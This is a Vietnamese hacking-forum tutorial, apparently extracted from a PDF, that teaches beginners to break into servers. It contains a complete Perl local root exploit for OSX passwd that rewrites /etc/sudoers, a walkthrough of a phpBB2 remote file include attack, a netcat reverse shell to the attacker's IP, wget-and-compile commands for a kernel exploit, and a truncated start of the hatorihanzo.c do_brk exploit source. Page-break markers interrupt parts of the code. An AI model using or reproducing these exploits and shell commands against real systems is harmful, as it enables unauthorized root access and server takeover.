Wilcox GCFW GCUX Keith.Wilcox@telus.net --- Lâu quá chẳng thấy ai có hứng post bài nào dài dài 1 chút, kĩ kĩ 1chút thôi thì nhân dịp lục lại đống ebook cũ thấy cái này cũng hay nên lược
Trang 1Típ theo là dạng code exploit bằng perl ai xài win thì down perl tạo đây http://downloads.vnunet.com/download rl/_33548.html
vi du :
Code:
#!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit
#
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
#
# (Apple) OSX's /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files
#
# the first issue will only work if the file does not already exist,
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>"
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of
# your choice (this exploits the second issue to overwrite
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)
use POSIX;
$fake_passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";
sub pexit{print("[!] @_.\n");exit(1);}
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
unlink($fake_passwd);
print("[*] making fake password file ($fake_passwd)\n");
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");
# uid must equal the current user
Trang 2print(FP "ALL ALL=(ALL) ALL #::" getuid ":" getuid "::"
getuid ":" getuid "::/:/\n");
close(FP);
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");
print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 characters)\n\n");
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\""); print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");
system("/usr/bin/sudo sh");
exit(0);
# milw0rm.com [2006-03-01]
>Apple Mac OS X (/usr/bin/passwd) Custom Passwd Local Root Exploit
save cái đoạn code đấy thành pl rùi chuyển vào 1 chỗ nào đấy ( c:\exploit.pl chẳng hạn )
vào cmd gõ : perl c:\exploit.pl
thuờng thì nó sẽ hiện lên đoạn usage còn nếu ko thì mở đoạn code mà kiếm cái đoạn usage mà đọc thui
buồn ngủ roài thui để mai viết nốt vậy
ah quên có 1 quyển sách về exploit up lên cho mọi người tham khảo
http://66.29.6.213/~lehung/ebook/Hac itation%20.pdf
Killua(vniss)
Exploiting a php include() and gain a remote rootshell
Authored By:
Keith J Wilcox GCFW GCUX
Keith.Wilcox@telus.net
-
Lâu quá chẳng thấy ai có hứng post bài nào dài dài 1 chút, kĩ kĩ 1chút thôi thì nhân dịp lục lại đống ebook cũ thấy cái này cũng hay nên lược lại cho mọi người tham khảo ( bạn nào thấy nhàm quá thì thôi ko cần nhận xét gì đâu vi tớ làm cái này cho noob như tớ thôi )
Trước hết sẽ là 1 định nghĩa về include vulnerability cho ai chưa thật rõ:
Đây là một lỗi cho phép ta thực thi các đoạn mã tùy ý trên host server bằng cách include file Lỗi thường do ko kiểm tra dữ liệu vào của người dùng tai các hàm
Trang 3include trong các ngôn ngữ
ví dụ cụ thể trong php ta có hàm include() cho phép include một script php ngoài script đang sử dụng Tuy nhiên nếu như nó cho phép ta thay đổi các tham số trong hàm này thì ta hoan toàn có thể include và thực thi script trên chính server đó
1 cách phong chống là kiểm tra và loại những giá trị vào của người dùng tại hàm include và chắc chăn răng tất cả các tham số trong nó ko thể bị thay đổi bơi người dùng
Xong phần khái quát cở bản, giờ tới cụ thể, ở đây tác giả dùng lỗi "PHPBB2
Install.PHP Remote File Include Vulnerability -
http://www.securityfocus.com/bid/5038" nên mình cũng để nguyên vậy, vì viêc khai thác lỗi này khá đơn giản, nhìn 1 lần làm nhiều lần
Để khai thác thành công được thì cấu hình của php phải như sau:
Directive Local Value Master Value
register_globals On On
safe_mode Off Off
Giờ ta xem exploit này hoạt động thế nào:
Lỗi trong file install.php
PHP Code:
<?php
define('IN_PHPBB', true);
$phpbb_root_path='./';
include($phpbb_root_path.'extension.inc');
include($phpbb_root_dir 'includes/functions_selects.'.$phpEx);
Vậy là ta có thể thay đôi giá trị của biến $phpbb_root_dir như sau:
http://victim/phpbb/install.php?$phpbb_root_dir=http://our_host/
Như trong code ở trên ta thấy :
include($phpbb_root_dir 'includes/functions_selects.'.$phpEx);
Ví thế nên trên host của mình ( our_host ) ta tạo 1 thư mục includes, trong đó có file functions_selects.php là shell của ta ( chú ý là our_host ko được hỗ trợ php ) Nếu thành công thi ta sẽ có được 1 usershell với quyên nobody, dùng để chuẩn bị cho việc chiếm quyên rootshell sau này
Tiếp sau sẽ thu thập một số thông tin về server, rồi tìm cách chiêm quyên root cho thích hợp ( lệnh cơ bản là uname -a hoặc cat /proc/version) Mình nhớ có lần mọi người cãi nhau về chuyện nếu nó đổi tên phiên bản hay lam 1 số cách khác đê ngan
Trang 4việc ta biết thông tin của server, nhưng cũng như nói ở trên, đây là basic nên mấy vấn đề đó nếu được sẽ bàn ơ các topic sau và rất mong các bạn có nhiều kinh
nghiêm cũng chia sẻ với mọi người
Giả sử ở đây ta dùng “Linux Kernel do_brk Function Boundary Condition
Vulnerability” để chiếm quyền root ( Để giữ quyên truy cập, tac giả dùng netcat -
và sau khi biên dịch, chuyên tên thanh ptty)
Dùng shell để up netcat (nay là ptty) vào /tmpvà chmod 755 (chmod 755 /tmp/ptty )
Trên máy của mình, ( dung win xp ) chạy netcat để lắng nghe cổng 80 ( > nc -l -p
80 )
Trên máy chủ ta chạy lệnh : /tmp/ptty -e /bin/sh xxx.xxx.xxx.xxx 80 ( với 1 đống xxx kia là ip của mình )
Nếu thành công thi ta có thể thực thi các lệnh trên máy chủ tư máy của mình Khi biêt target platform là RedHat Linux (i586) với kernel 2.4.20 ( tạm dùng 2 lệnh mình nói ơ trên ) Có vẻ như nó có thể dính lỗi “Linux Kernel do_brk
Function Boundary Condition Vulnerability” Code khai thác là hatorihanzo.c , ta compile và dùng shell up lên server ( trong thư mục /tmp ) - cũng có thể dùng wget
đẻ lấy code rồi compile ngay trên server ( wget http://ourhost/hack.txt ; mv
hack.txt hack.c; gcc -o hack hack.c )
Sau đó ta chmod cho phép thực thi ( chmod 777 hack ) và rồi run (./tmp/hack) Nếu may mắn, ta sẽ có quyên root ( check băng lệnh whoami )
Tiếp theo sẽ là giữ quyên truy câp và xóa vết , nhưng để post sau vì giờ đi ngủ đã
Cái giữ quyên truy cập mình mong ai thao thì chỉ giáo thêm được thi tôt quá
pip (Vniss)
atorihanzo.c
Code:
/*
* hatorihanzo.c
* Linux kernel do_brk vma overflow exploit
*
* The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>
*
* Further research and exploit development by
* Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz
*
Trang 5* (c) 2003 Copyright by IhaQueR and cliph All Rights Reserved
*
* COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
* OF PRESENTED CODE IS STRICTLY PROHIBITED
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define MAGIC 0xdefaced /* I should've patented this number -cliph */
#define ENTRY_MAGIC 0
#define ENTRY_GATE 2
#define ENTRY_CS 4
#define ENTRY_DS 6
#define CS ((ENTRY_CS << 2) | 4)
#define DS ((ENTRY_DS << 2) | 4)
#define GATE ((ENTRY_GATE << 2) | 4 | 3)